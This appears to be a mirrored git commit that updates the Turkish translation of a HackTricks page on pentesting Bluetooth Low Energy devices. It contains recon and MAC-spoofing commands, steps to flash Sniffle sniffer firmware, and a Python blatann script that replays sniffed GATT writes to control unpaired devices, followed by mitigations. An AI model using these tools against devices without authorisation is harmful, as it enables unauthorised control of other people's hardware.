mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
parent
74aec0a8f1
commit
42105466e3
@ -4,21 +4,21 @@
|
||||
|
||||
## Giriş
|
||||
|
||||
Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, yalnızca 40 kanal kullanır ve 2400 ile 2483.5 MHz aralığını kapsar. Buna karşılık, geleneksel Bluetooth bu aynı aralıkta 79 kanal kullanır.
|
||||
Bluetooth 4.0 spesifikasyonundan itibaren kullanılabilen BLE, 2400 ile 2483.5 MHz arasını kapsayan sadece 40 kanal kullanır. Buna karşılık, klasik Bluetooth aynı aralıkta 79 kanal kullanır.
|
||||
|
||||
BLE cihazları, **reklam paketleri** (**beaconlar**) göndererek iletişim kurar; bu paketler, BLE cihazının varlığını diğer yakın cihazlara yayınlar. Bu beaconlar bazen **veri** de gönderir.
|
||||
BLE cihazları, **advertising paketleri** (**beacon'lar**) göndererek haberleşir; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara ilan eder. Bu beacon'lar bazen **veri gönderir** de.
|
||||
|
||||
Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, **reklam** paketinin yapısını kullanır ve başlangıç reklam isteğine sığmayan ek bilgileri içerir, örneğin tam cihaz adı.
|
||||
Dinleyen cihaz, aynı zamanda merkezi cihaz (central device) olarak da adlandırılır, belirli bir advertising cihazına gönderilen bir **SCAN request** ile bir advertising paketine yanıt verebilir. Bu tarama için verilen **response**, ilk advertising isteğine sığmayan tam cihaz adı gibi ek bilgileri içerecek şekilde **advertising** paket ile aynı yapıyı kullanır.
|
||||
|
||||
.png>)
|
||||
|
||||
Preamble byte, frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır** ve birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki, Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın olarak kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanır ve yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur.
|
||||
Preamble baytı frekansı senkronize ederken, dört baytlık access address bir **connection identifier**dır; aynı kanallarda birden fazla cihazın bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından Protocol Data Unit (**PDU**) **advertising data**'yı içerir. Birden fazla PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar **ADV_NONCONN_IND** PDU türünü, **bağlantı kabul etmezlerse** kullanır; bu durumda veri yalnızca advertising paketinde iletilir. Cihazlar **ADV_IND**'i **bağlantılara izin veriyorlarsa** ve bir **connection** kurulduktan sonra **advertising** paket göndermeyi **durduruyorlarsa** kullanır.
|
||||
|
||||
### GATT
|
||||
|
||||
**Generic Attribute Profile** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin nasıl tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlarla ilgili **ek bilgiler sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**.
|
||||
**Generic Attribute Profile** (GATT), **cihazın veriyi nasıl biçimlendirmesi ve transfer etmesi gerektiğini** tanımlar. Bir BLE cihazının attack surface'ini analiz ederken genellikle GATT'e (veya GATT'lara) odaklanırsınız; çünkü cihaz fonksiyonelliğinin nasıl **tetiklendiğini** ve verilerin nasıl saklandığını, gruplanıp değiştirildiğini gösterir. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16- veya 32-bitlik değerler olarak bir tabloda listeler. Bir **characteristic**, merkezi cihaz ile peripheral arasında **gönderilen** bir **veri** değeridir. Bu characteristic'ler, onlar hakkında **ek bilgi sağlayan** **descriptors** içerebilir. **Characteristics**, belirli bir işlemi gerçekleştirmeye yönelik ilişkili olduklarında sıklıkla **services** içinde **gruplandırılır**.
|
||||
|
||||
## Sayım
|
||||
## Keşif
|
||||
```bash
|
||||
hciconfig #Check config, check if UP or DOWN
|
||||
# If DOWN try:
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool**, başka bir cihazla **bağlantı** **kurmayı** sağlar, o cihazın **özelliklerini** listeleyebilir ve niteliklerini okuyup yazabilir.\
|
||||
GATTTool, `-I` seçeneği ile etkileşimli bir kabuk başlatabilir:
|
||||
**GATTool** başka bir cihazla **bağlantı kurmayı**, o cihazın **özelliklerini** listelemeyi ve özniteliklerini okuma ve yazma işlemlerine olanak tanır.\
|
||||
GATTTool `-I` seçeneği ile etkileşimli bir shell başlatabilir:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing ve eşleşmemiş BLE cihazlarını aktif olarak kontrol etme
|
||||
|
||||
Birçok düşük maliyetli BLE çevrebirim pairing/bonding uygulamaz. Bonding olmadığında Link Layer encryption hiç etkinleştirilmez, bu yüzden ATT/GATT trafiği cleartext halinde olur. Bir off-path sniffer bağlantıyı takip edebilir, GATT operations'ı decode ederek characteristic handles ve values öğrenebilir; yakındaki herhangi bir host daha sonra bağlanıp bu writes'ları replay ederek cihazı kontrol edebilir.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), NCC Group’ın Sniffle firmware’i ile yeniden flashlendi.
|
||||
|
||||
Install Sniffle and its Wireshark extcap on Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flash Sonoff with Sniffle firmware (seri cihazınızın doğru olduğundan emin olun, örn. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Wireshark'ta Sniffle extcap üzerinden yakalayın ve filtreleyerek hızla state-changing writes'e pivot yapın:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine eşlenir (ör. buzzer/alert characteristic'a 0x01 yazmak, durdurmak için 0x00).
|
||||
|
||||
Sniffle CLI hızlı örnekler:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle USB bootloader'ı ezip sniffer firmware'i yüklersiniz, bu yüzden ya özel bir sniffer dongle tutarsınız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.
|
||||
|
||||
### GATT üzerinden aktif kontrol
|
||||
|
||||
Sniffed trafikten yazılabilir bir characteristic handle ve value tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin:
|
||||
|
||||
- Nordic nRF Connect for Desktop (BLE app) ile:
|
||||
- nRF52/nRF52840 dongle'ı seçin, tara ve hedefe bağlanın.
|
||||
- GATT veritabanında gezin, hedef characteristic'ı bulun (çoğunlukla kullanıcı dostu bir isim olur, örn. Alert Level).
|
||||
- Sniffed byte'larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).
|
||||
|
||||
- Windows'ta Python + blatann kullanarak Nordic dongle ile otomatikleştirin:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Operasyonel notlar ve önlemler
|
||||
|
||||
- Kanal atlama ve bağlantı takibi için Linux üzerinde Sonoff+Sniffle'i tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
|
||||
- Eşleştirme/bağlama olmadan, çevredeki herhangi bir saldırgan yazmaları gözlemleyebilir ve kimlik doğrulaması olmayan yazılabilir characteristics'lara kendi yazmalarını yeniden oynatabilir/üretebilir.
|
||||
- Önlemler: eşleştirme/bağlama ve şifrelemeyi zorunlu kılın; characteristic izinlerini kimlik doğrulamalı yazmaları gerektirecek şekilde ayarlayın; kimlik doğrulaması olmayan yazılabilir characteristics'ları en aza indirin; GATT ACL'lerini Sniffle/nRF Connect ile doğrulayın.
|
||||
|
||||
## References
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user